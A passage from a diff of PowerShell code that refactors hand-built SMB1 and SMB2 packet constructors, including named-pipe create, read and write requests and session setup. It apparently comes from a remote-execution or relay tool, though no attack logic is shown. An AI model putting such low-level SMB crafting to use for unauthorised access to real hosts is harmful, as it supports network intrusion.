$([System.BitConverter]::GetBytes($NamedPipe.Length - 1))[0,1] + + $SMBNTCreateAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMBNTCreateAndXRequest.Add("WordCount",[Byte[]](0x18)) + $SMBNTCreateAndXRequest.Add("AndXCommand",[Byte[]](0xff)) + $SMBNTCreateAndXRequest.Add("Reserved",[Byte[]](0x00)) + $SMBNTCreateAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00)) + $SMBNTCreateAndXRequest.Add("Reserved2",[Byte[]](0x00)) + $SMBNTCreateAndXRequest.Add("FileNameLen",$file_name_length) + $SMBNTCreateAndXRequest.Add("CreateFlags",[Byte[]](0x16,0x00,0x00,0x00)) + $SMBNTCreateAndXRequest.Add("RootFID",[Byte[]](0x00,0x00,0x00,0x00)) + $SMBNTCreateAndXRequest.Add("AccessMask",[Byte[]](0x00,0x00,0x00,0x02)) + $SMBNTCreateAndXRequest.Add("AllocationSize",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $SMBNTCreateAndXRequest.Add("FileAttributes",[Byte[]](0x00,0x00,0x00,0x00)) + $SMBNTCreateAndXRequest.Add("ShareAccess",[Byte[]](0x07,0x00,0x00,0x00)) + $SMBNTCreateAndXRequest.Add("Disposition",[Byte[]](0x01,0x00,0x00,0x00)) + $SMBNTCreateAndXRequest.Add("CreateOptions",[Byte[]](0x00,0x00,0x00,0x00)) + $SMBNTCreateAndXRequest.Add("Impersonation",[Byte[]](0x02,0x00,0x00,0x00)) + $SMBNTCreateAndXRequest.Add("SecurityFlags",[Byte[]](0x00)) + $SMBNTCreateAndXRequest.Add("ByteCount",$named_pipe_length) + $SMBNTCreateAndXRequest.Add("Filename",$NamedPipe) + + return $SMBNTCreateAndXRequest } -function Get-PacketSMBReadAndXRequest() +function New-PacketSMBReadAndXRequest { - $packet_SMBReadAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_WordCount",[Byte[]](0x0a)) - $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_AndXCommand",[Byte[]](0xff)) - $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_Reserved",[Byte[]](0x00)) - $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_AndXOffset",[Byte[]](0x00,0x00)) - $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_FID",[Byte[]](0x00,0x40)) - $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_Offset",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_MaxCountLow",[Byte[]](0x58,0x02)) - $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_MinCount",[Byte[]](0x58,0x02)) - $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_Unknown",[Byte[]](0xff,0xff,0xff,0xff)) - $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_Remaining",[Byte[]](0x00,0x00)) - $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_ByteCount",[Byte[]](0x00,0x00)) - - return $packet_SMBReadAndXRequest + $SMBReadAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMBReadAndXRequest.Add("WordCount",[Byte[]](0x0a)) + $SMBReadAndXRequest.Add("AndXCommand",[Byte[]](0xff)) + $SMBReadAndXRequest.Add("Reserved",[Byte[]](0x00)) + $SMBReadAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00)) + $SMBReadAndXRequest.Add("FID",[Byte[]](0x00,0x40)) + $SMBReadAndXRequest.Add("Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $SMBReadAndXRequest.Add("MaxCountLow",[Byte[]](0x58,0x02)) + $SMBReadAndXRequest.Add("MinCount",[Byte[]](0x58,0x02)) + $SMBReadAndXRequest.Add("Unknown",[Byte[]](0xff,0xff,0xff,0xff)) + $SMBReadAndXRequest.Add("Remaining",[Byte[]](0x00,0x00)) + $SMBReadAndXRequest.Add("ByteCount",[Byte[]](0x00,0x00)) + + return $SMBReadAndXRequest } -function Get-PacketSMBWriteAndXRequest() +function New-PacketSMBWriteAndXRequest { - param([Byte[]]$packet_file_ID,[Int]$packet_RPC_length) - - [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_RPC_length) - $packet_write_length = $packet_write_length[0,1] - - $packet_SMBWriteAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_WordCount",[Byte[]](0x0e)) - $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_AndXCommand",[Byte[]](0xff)) - $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_Reserved",[Byte[]](0x00)) - $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_AndXOffset",[Byte[]](0x00,0x00)) - $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_FID",$packet_file_ID) - $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_Offset",[Byte[]](0xea,0x03,0x00,0x00)) - $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_Reserved2",[Byte[]](0xff,0xff,0xff,0xff)) - $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_WriteMode",[Byte[]](0x08,0x00)) - $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_Remaining",$packet_write_length) - $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_DataLengthHigh",[Byte[]](0x00,0x00)) - $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_DataLengthLow",$packet_write_length) - $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_DataOffset",[Byte[]](0x3f,0x00)) - $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_HighOffset",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_ByteCount",$packet_write_length) - - return $packet_SMBWriteAndXRequest + param([Byte[]]$FileID,[Int]$Length) + + [Byte[]]$write_length = [System.BitConverter]::GetBytes($Length)[0,1] + + $SMBWriteAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMBWriteAndXRequest.Add("WordCount",[Byte[]](0x0e)) + $SMBWriteAndXRequest.Add("AndXCommand",[Byte[]](0xff)) + $SMBWriteAndXRequest.Add("Reserved",[Byte[]](0x00)) + $SMBWriteAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00)) + $SMBWriteAndXRequest.Add("FID",$FileID) + $SMBWriteAndXRequest.Add("Offset",[Byte[]](0xea,0x03,0x00,0x00)) + $SMBWriteAndXRequest.Add("Reserved2",[Byte[]](0xff,0xff,0xff,0xff)) + $SMBWriteAndXRequest.Add("WriteMode",[Byte[]](0x08,0x00)) + $SMBWriteAndXRequest.Add("Remaining",$write_length) + $SMBWriteAndXRequest.Add("DataLengthHigh",[Byte[]](0x00,0x00)) + $SMBWriteAndXRequest.Add("DataLengthLow",$write_length) + $SMBWriteAndXRequest.Add("DataOffset",[Byte[]](0x3f,0x00)) + $SMBWriteAndXRequest.Add("HighOffset",[Byte[]](0x00,0x00,0x00,0x00)) + $SMBWriteAndXRequest.Add("ByteCount",$write_length) + + return $SMBWriteAndXRequest } -function Get-PacketSMBCloseRequest() +function New-PacketSMBCloseRequest { - param ([Byte[]]$packet_file_ID) + param ([Byte[]]$FileID) - $packet_SMBCloseRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMBCloseRequest.Add("SMBCloseRequest_WordCount",[Byte[]](0x03)) - $packet_SMBCloseRequest.Add("SMBCloseRequest_FID",$packet_file_ID) - $packet_SMBCloseRequest.Add("SMBCloseRequest_LastWrite",[Byte[]](0xff,0xff,0xff,0xff)) - $packet_SMBCloseRequest.Add("SMBCloseRequest_ByteCount",[Byte[]](0x00,0x00)) + $SMBCloseRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMBCloseRequest.Add("WordCount",[Byte[]](0x03)) + $SMBCloseRequest.Add("FID",$FileID) + $SMBCloseRequest.Add("LastWrite",[Byte[]](0xff,0xff,0xff,0xff)) + $SMBCloseRequest.Add("ByteCount",[Byte[]](0x00,0x00)) - return $packet_SMBCloseRequest + return $SMBCloseRequest } -function Get-PacketSMBTreeDisconnectRequest() +function New-PacketSMBTreeDisconnectRequest { - $packet_SMBTreeDisconnectRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMBTreeDisconnectRequest.Add("SMBTreeDisconnectRequest_WordCount",[Byte[]](0x00)) - $packet_SMBTreeDisconnectRequest.Add("SMBTreeDisconnectRequest_ByteCount",[Byte[]](0x00,0x00)) + $SMBTreeDisconnectRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMBTreeDisconnectRequest.Add("WordCount",[Byte[]](0x00)) + $SMBTreeDisconnectRequest.Add("ByteCount",[Byte[]](0x00,0x00)) - return $packet_SMBTreeDisconnectRequest + return $SMBTreeDisconnectRequest } -function Get-PacketSMBLogoffAndXRequest() +function New-PacketSMBLogoffAndXRequest { - $packet_SMBLogoffAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_WordCount",[Byte[]](0x02)) - $packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_AndXCommand",[Byte[]](0xff)) - $packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_Reserved",[Byte[]](0x00)) - $packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_AndXOffset",[Byte[]](0x00,0x00)) - $packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_ByteCount",[Byte[]](0x00,0x00)) - - return $packet_SMBLogoffAndXRequest + $SMBLogoffAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMBLogoffAndXRequest.Add("WordCount",[Byte[]](0x02)) + $SMBLogoffAndXRequest.Add("AndXCommand",[Byte[]](0xff)) + $SMBLogoffAndXRequest.Add("Reserved",[Byte[]](0x00)) + $SMBLogoffAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00)) + $SMBLogoffAndXRequest.Add("ByteCount",[Byte[]](0x00,0x00)) + + return $SMBLogoffAndXRequest } #SMB2 -function Get-PacketSMB2Header() +function New-PacketSMB2Header { - param([Byte[]]$packet_command,[Int]$packet_message_ID,[Byte[]]$packet_tree_ID,[Byte[]]$packet_session_ID) - - [Byte[]]$packet_message_ID = [System.BitConverter]::GetBytes($packet_message_ID) + 0x00,0x00,0x00,0x00 - - $packet_SMB2Header = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2Header.Add("SMB2Header_ProtocolID",[Byte[]](0xfe,0x53,0x4d,0x42)) - $packet_SMB2Header.Add("SMB2Header_StructureSize",[Byte[]](0x40,0x00)) - $packet_SMB2Header.Add("SMB2Header_CreditCharge",[Byte[]](0x01,0x00)) - $packet_SMB2Header.Add("SMB2Header_ChannelSequence",[Byte[]](0x00,0x00)) - $packet_SMB2Header.Add("SMB2Header_Reserved",[Byte[]](0x00,0x00)) - $packet_SMB2Header.Add("SMB2Header_Command",$packet_command) - $packet_SMB2Header.Add("SMB2Header_CreditRequest",[Byte[]](0x00,0x00)) - $packet_SMB2Header.Add("SMB2Header_Flags",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2Header.Add("SMB2Header_NextCommand",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2Header.Add("SMB2Header_MessageID",$packet_message_ID) - $packet_SMB2Header.Add("SMB2Header_Reserved2",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2Header.Add("SMB2Header_TreeID",$packet_tree_ID) - $packet_SMB2Header.Add("SMB2Header_SessionID",$packet_session_ID) - $packet_SMB2Header.Add("SMB2Header_Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - - return $packet_SMB2Header + param([Byte[]]$Command,[Byte[]]$CreditRequest,[Bool]$Signing,[Int]$MessageID,[Byte[]]$ProcessID,[Byte[]]$TreeID,[Byte[]]$SessionID) + + if($Signing) + { + $flags = 0x08,0x00,0x00,0x00 + } + else + { + $flags = 0x00,0x00,0x00,0x00 + } + + [Byte[]]$message_ID = [System.BitConverter]::GetBytes($MessageID) + + if($message_ID.Length -eq 4) + { + $message_ID += 0x00,0x00,0x00,0x00 + } + + $SMB2Header = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2Header.Add("ProtocolID",[Byte[]](0xfe,0x53,0x4d,0x42)) + $SMB2Header.Add("StructureSize",[Byte[]](0x40,0x00)) + $SMB2Header.Add("CreditCharge",[Byte[]](0x01,0x00)) + $SMB2Header.Add("ChannelSequence",[Byte[]](0x00,0x00)) + $SMB2Header.Add("Reserved",[Byte[]](0x00,0x00)) + $SMB2Header.Add("Command",$Command) + $SMB2Header.Add("CreditRequest",$CreditRequest) + $SMB2Header.Add("Flags",$flags) + $SMB2Header.Add("NextCommand",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2Header.Add("MessageID",$message_ID) + $SMB2Header.Add("ProcessID",$ProcessID) + $SMB2Header.Add("TreeID",$TreeID) + $SMB2Header.Add("SessionID",$SessionID) + $SMB2Header.Add("Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + + return $SMB2Header } -function Get-PacketSMB2NegotiateProtocolRequest() +function New-PacketSMB2NegotiateProtocolRequest { - $packet_SMB2NegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_StructureSize",[Byte[]](0x24,0x00)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_DialectCount",[Byte[]](0x02,0x00)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_SecurityMode",[Byte[]](0x01,0x00)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Reserved",[Byte[]](0x00,0x00)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Capabilities",[Byte[]](0x40,0x00,0x00,0x00)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_ClientGUID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_NegotiateContextOffset",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_NegotiateContextCount",[Byte[]](0x00,0x00)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Reserved2",[Byte[]](0x00,0x00)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Dialect",[Byte[]](0x02,0x02)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Dialect2",[Byte[]](0x10,0x02)) - - return $packet_SMB2NegotiateProtocolRequest + $SMB2NegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2NegotiateProtocolRequest.Add("StructureSize",[Byte[]](0x24,0x00)) + $SMB2NegotiateProtocolRequest.Add("DialectCount",[Byte[]](0x02,0x00)) + $SMB2NegotiateProtocolRequest.Add("SecurityMode",[Byte[]](0x01,0x00)) + $SMB2NegotiateProtocolRequest.Add("Reserved",[Byte[]](0x00,0x00)) + $SMB2NegotiateProtocolRequest.Add("Capabilities",[Byte[]](0x40,0x00,0x00,0x00)) + $SMB2NegotiateProtocolRequest.Add("ClientGUID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $SMB2NegotiateProtocolRequest.Add("NegotiateContextOffset",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2NegotiateProtocolRequest.Add("NegotiateContextCount",[Byte[]](0x00,0x00)) + $SMB2NegotiateProtocolRequest.Add("Reserved2",[Byte[]](0x00,0x00)) + $SMB2NegotiateProtocolRequest.Add("Dialect",[Byte[]](0x02,0x02)) + $SMB2NegotiateProtocolRequest.Add("Dialect2",[Byte[]](0x10,0x02)) + + return $SMB2NegotiateProtocolRequest } -function Get-PacketSMB2SessionSetupRequest() +function New-PacketSMB2SessionSetupRequest { - param([Byte[]]$packet_security_blob) - - [Byte[]]$packet_security_blob_length = [System.BitConverter]::GetBytes($packet_security_blob.Length) - $packet_security_blob_length = $packet_security_blob_length[0,1] - - $packet_SMB2SessionSetupRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_StructureSize",[Byte[]](0x19,0x00)) - $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_Flags",[Byte[]](0x00)) - $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_SecurityMode",[Byte[]](0x01)) - $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_Capabilities",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_Channel",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_SecurityBufferOffset",[Byte[]](0x58,0x00)) - $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_SecurityBufferLength",$packet_security_blob_length) - $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_PreviousSessionID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_Buffer",$packet_security_blob) - - return $packet_SMB2SessionSetupRequest + param([Byte[]]$SecurityBlob) + + [Byte[]]$security_buffer_length = ([System.BitConverter]::GetBytes($SecurityBlob.Length))[0,1] + + $SMB2SessionSetupRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2SessionSetupRequest.Add("StructureSize",[Byte[]](0x19,0x00)) + $SMB2SessionSetupRequest.Add("Flags",[Byte[]](0x00)) + $SMB2SessionSetupRequest.Add("SecurityMode",[Byte[]](0x01)) + $SMB2SessionSetupRequest.Add("Capabilities",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2SessionSetupRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2SessionSetupRequest.Add("SecurityBufferOffset",[Byte[]](0x58,0x00)) + $SMB2SessionSetupRequest.Add("SecurityBufferLength",$security_buffer_length) + $SMB2SessionSetupRequest.Add("PreviousSessionID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $SMB2SessionSetupRequest.Add("Buffer",$SecurityBlob) + + return $SMB2SessionSetupRequest } -function Get-PacketSMB2TreeConnectRequest() +function New-PacketSMB2TreeConnectRequest { - param([Byte[]]$packet_path) + param([Byte[]]$Buffer) - [Byte[]]$packet_path_length = [System.BitConverter]::GetBytes($packet_path.Length) - $packet_path_length = $packet_path_length[0,1] + [Byte[]]$path_length = ([System.BitConverter]::GetBytes($Buffer.Length))[0,1] - $packet_SMB2TreeConnectRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_StructureSize",[Byte[]](0x09,0x00)) - $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_Reserved",[Byte[]](0x00,0x00)) - $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_PathOffset",[Byte[]](0x48,0x00)) - $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_PathLength",$packet_path_length) - $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_Buffer",$packet_path) + $SMB2TreeConnectRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2TreeConnectRequest.Add("StructureSize",[Byte[]](0x09,0x00)) + $SMB2TreeConnectRequest.Add("Reserved",[Byte[]](0x00,0x00)) + $SMB2TreeConnectRequest.Add("PathOffset",[Byte[]](0x48,0x00)) + $SMB2TreeConnectRequest.Add("PathLength",$path_length) + $SMB2TreeConnectRequest.Add("Buffer",$Buffer) - return $packet_SMB2TreeConnectRequest + return $SMB2TreeConnectRequest } -function Get-PacketSMB2CreateRequestFile() +function New-PacketSMB2CreateRequestFile { - param([Byte[]]$packet_named_pipe) - - $packet_named_pipe_length = [System.BitConverter]::GetBytes($packet_named_pipe.Length) - $packet_named_pipe_length = $packet_named_pipe_length[0,1] - - $packet_SMB2CreateRequestFile = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_StructureSize",[Byte[]](0x39,0x00)) - $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_Flags",[Byte[]](0x00)) - $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_RequestedOplockLevel",[Byte[]](0x00)) - $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_Impersonation",[Byte[]](0x02,0x00,0x00,0x00)) - $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_SMBCreateFlags",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_Reserved",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_DesiredAccess",[Byte[]](0x03,0x00,0x00,0x00)) - $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_FileAttributes",[Byte[]](0x80,0x00,0x00,0x00)) - $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_ShareAccess",[Byte[]](0x01,0x00,0x00,0x00)) - $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_CreateDisposition",[Byte[]](0x01,0x00,0x00,0x00)) - $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_CreateOptions",[Byte[]](0x40,0x00,0x00,0x00)) - $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_NameOffset",[Byte[]](0x78,0x00)) - $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_NameLength",$packet_named_pipe_length) - $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_CreateContextsOffset",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_CreateContextsLength",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_Buffer",$packet_named_pipe) - - return $packet_SMB2CreateRequestFile + param([Byte[]]$NamedPipe) + + $name_length = ([System.BitConverter]::GetBytes($NamedPipe.Length))[0,1] + + $SMB2CreateRequestFile = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2CreateRequestFile.Add("StructureSize",[Byte[]](0x39,0x00)) + $SMB2CreateRequestFile.Add("Flags",[Byte[]](0x00)) + $SMB2CreateRequestFile.Add("RequestedOplockLevel",[Byte[]](0x00)) + $SMB2CreateRequestFile.Add("Impersonation",[Byte[]](0x02,0x00,0x00,0x00)) + $SMB2CreateRequestFile.Add("SMBCreateFlags",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $SMB2CreateRequestFile.Add("Reserved",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $SMB2CreateRequestFile.Add("DesiredAccess",[Byte[]](0x03,0x00,0x00,0x00)) + $SMB2CreateRequestFile.Add("FileAttributes",[Byte[]](0x80,0x00,0x00,0x00)) + $SMB2CreateRequestFile.Add("ShareAccess",[Byte[]](0x01,0x00,0x00,0x00)) + $SMB2CreateRequestFile.Add("CreateDisposition",[Byte[]](0x01,0x00,0x00,0x00)) + $SMB2CreateRequestFile.Add("CreateOptions",[Byte[]](0x40,0x00,0x00,0x00)) + $SMB2CreateRequestFile.Add("NameOffset",[Byte[]](0x78,0x00)) + $SMB2CreateRequestFile.Add("NameLength",$name_length) + $SMB2CreateRequestFile.Add("CreateContextsOffset",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2CreateRequestFile.Add("CreateContextsLength",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2CreateRequestFile.Add("Buffer",$NamedPipe) + + return $SMB2CreateRequestFile } -function Get-PacketSMB2ReadRequest() +function New-PacketSMB2ReadRequest { - param ([Byte[]]$packet_file_ID) - - $packet_SMB2ReadRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_StructureSize",[Byte[]](0x31,0x00)) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Padding",[Byte[]](0x50)) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Flags",[Byte[]](0x00)) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Length",[Byte[]](0x00,0x00,0x10,0x00)) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Offset",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_FileID",$packet_file_ID) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_MinimumCount",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Channel",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_ReadChannelInfoOffset",[Byte[]](0x00,0x00)) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_ReadChannelInfoLength",[Byte[]](0x00,0x00)) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Buffer",[Byte[]](0x30)) - - return $packet_SMB2ReadRequest + param ([Byte[]]$FileID) + + $SMB2ReadRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2ReadRequest.Add("StructureSize",[Byte[]](0x31,0x00)) + $SMB2ReadRequest.Add("Padding",[Byte[]](0x50)) + $SMB2ReadRequest.Add("Flags",[Byte[]](0x00)) + $SMB2ReadRequest.Add("Length",[Byte[]](0x00,0x00,0x10,0x00)) + $SMB2ReadRequest.Add("Offset",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $SMB2ReadRequest.Add("FileID",$FileID) + $SMB2ReadRequest.Add("MinimumCount",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2ReadRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2ReadRequest.Add("RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2ReadRequest.Add("ReadChannelInfoOffset",[Byte[]](0x00,0x00)) + $SMB2ReadRequest.Add("ReadChannelInfoLength",[Byte[]](0x00,0x00)) + $SMB2ReadRequest.Add("Buffer",[Byte[]](0x30)) + + return $SMB2ReadRequest } -function Get-PacketSMB2WriteRequest() +function New-PacketSMB2WriteRequest { - param([Byte[]]$packet_file_ID,[Int]$packet_RPC_length) - - [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_RPC_length) - - $packet_SMB2WriteRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_StructureSize",[Byte[]](0x31,0x00)) - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_DataOffset",[Byte[]](0x70,0x00)) - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_Length",$packet_write_length) - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_Offset",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_FileID",$packet_file_ID) - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_Channel",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_WriteChannelInfoOffset",[Byte[]](0x00,0x00)) - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_WriteChannelInfoLength",[Byte[]](0x00,0x00)) - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_Flags",[Byte[]](0x00,0x00,0x00,0x00)) - - return $packet_SMB2WriteRequest + param([Byte[]]$FileID,[Int]$RPCLength) + + [Byte[]]$write_length = [System.BitConverter]::GetBytes($RPCLength) + + $SMB2WriteRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2WriteRequest.Add("StructureSize",[Byte[]](0x31,0x00)) + $SMB2WriteRequest.Add("DataOffset",[Byte[]](0x70,0x00)) + $SMB2WriteRequest.Add("Length",$write_length) + $SMB2WriteRequest.Add("Offset",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $SMB2WriteRequest.Add("FileID",$FileID) + $SMB2WriteRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2WriteRequest.Add("RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2WriteRequest.Add("WriteChannelInfoOffset",[Byte[]](0x00,0x00)) + $SMB2WriteRequest.Add("WriteChannelInfoLength",[Byte[]](0x00,0x00)) + $SMB2WriteRequest.Add("Flags",[Byte[]](0x00,0x00,0x00,0x00)) + + return $SMB2WriteRequest } -function Get-PacketSMB2CloseRequest() +function 